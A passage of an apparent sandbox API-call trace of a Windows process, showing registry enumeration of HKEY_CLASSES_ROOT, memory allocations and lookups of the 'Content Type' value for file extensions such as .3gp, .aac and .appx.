lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.IMJPSKEY.10", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.IMJPSKEY.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.SKF.TCIME", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.SKF.TCIME.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.SKF.TCIME7", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImePlugInDictDictionaryList1041", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImePlugInDictDictionaryList1041.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMESingleKanjiDict", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMESingleKanjiDict.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMESingleKanjiDict.9", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ea, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="imesxfile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5eb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImgUtil.CoDitherToRGB8", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ec, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImgUtil.CoDitherToRGB8.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ed, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImgUtil.CoMapMIMEToCLSID", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ee, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImgUtil.CoMapMIMEToCLSID.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ef, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImgUtil.CoSniffStream", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.897] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImgUtil.CoSniffStream.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="imkrhjd.hanjadic", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="imkrhjd.hanjadic.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="imkrhjd.hanjadic.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMOfferRAApp.IMOfferRA", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMOfferRAApp.IMOfferRA.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMRequestRAApp.IMRequestRA", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMRequestRAApp.IMRequestRA.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMsiServer", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.898] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="inffile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.958] VirtualAlloc (lpAddress=0xc000850000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000850000 [0182.054] VirtualAlloc (lpAddress=0xc00085a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00085a000 [0182.262] VirtualAlloc (lpAddress=0xc00085c000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00085c000 [0182.307] VirtualAlloc (lpAddress=0xc00086a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00086a000 [0182.468] VirtualAlloc (lpAddress=0xc00086c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00086c000 [0182.476] VirtualAlloc (lpAddress=0xc00086e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00086e000 [0182.495] GetProcAddress (hModule=0x7fffcb600000, lpProcName="RegOpenKeyExW") returned 0x7fffcb615d90 [0182.495] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".386", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.496] GetProcAddress (hModule=0x7fffcb600000, lpProcName="RegQueryValueExW") returned 0x7fffcb615d70 [0182.496] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.496] GetProcAddress (hModule=0x7fffcb600000, lpProcName="RegCloseKey") returned 0x7fffcb616750 [0182.496] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.496] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".3fr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.496] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/3FR", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.497] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.497] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".3g2", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.497] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/3gpp2", lpcbData=0xc0006b98fc*=0x18) returned 0x0 [0182.497] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.498] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".3gp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.498] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/3gpp", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.498] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.498] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".3gp2", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.499] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/3gpp2", lpcbData=0xc0006b98fc*=0x18) returned 0x0 [0182.499] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.499] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".3gpp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.499] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/3gpp", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.500] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.500] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".3mf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.500] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.501] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.501] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".a", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.501] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.501] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.502] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".aac", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.502] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/vnd.dlna.adts", lpcbData=0xc0006b98fc*=0x28) returned 0x0 [0182.502] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.503] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ac3", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.503] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/vnd.dolby.dd-raw", lpcbData=0xc0006b98fc*=0x2e) returned 0x0 [0182.503] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.504] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".accountpicture-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.504] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x46) returned 0xea [0182.504] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc000282320, lpcbData=0xc0006b98fc*=0x46 | out: lpType=0xc0006b98f8*=0x1, lpData="application/windows-accountpicture", lpcbData=0xc0006b98fc*=0x46) returned 0x0 [0182.504] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.505] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".acrobatsecuritysettings", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.505] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x60) returned 0xea [0182.505] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0000dc180, lpcbData=0xc0006b98fc*=0x60 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.adobe.acrobat-security-settings", lpcbData=0xc0006b98fc*=0x60) returned 0x0 [0182.507] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.507] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".adt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.507] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/vnd.dlna.adts", lpcbData=0xc0006b98fc*=0x28) returned 0x0 [0182.508] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.508] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".adts", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.509] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/vnd.dlna.adts", lpcbData=0xc0006b98fc*=0x28) returned 0x0 [0182.509] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.509] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ai", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.510] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/postscript", lpcbData=0xc0006b98fc*=0x2e) returned 0x0 [0182.510] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.510] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".aif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.510] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/aiff", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.511] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.511] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".aifc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.511] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/aiff", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.511] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.512] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".aiff", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.512] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/aiff", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.512] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.513] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".all", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.513] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.513] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.513] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".amr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.513] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.514] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.514] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ani", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.514] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.514] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.514] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ans", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.515] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.515] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.515] VirtualAlloc (lpAddress=0xc000870000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000870000 [0182.515] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".api", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.516] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.516] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.516] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".appcontent-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.516] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x46) returned 0xea [0182.517] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc000282370, lpcbData=0xc0006b98fc*=0x46 | out: lpType=0xc0006b98f8*=0x1, lpData="application/windows-appcontent+xml", lpcbData=0xc0006b98fc*=0x46) returned 0x0 [0182.517] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.517] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".appinstaller", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.517] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.518] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.518] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".application", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.518] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-ms-application", lpcbData=0xc0006b98fc*=0x3a) returned 0x0 [0182.518] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.518] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".appref-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.519] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.519] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.519] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".appx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.519] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.519] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.520] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".appxbundle", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.520] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.520] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.520] RegOpenKeyExW (in: 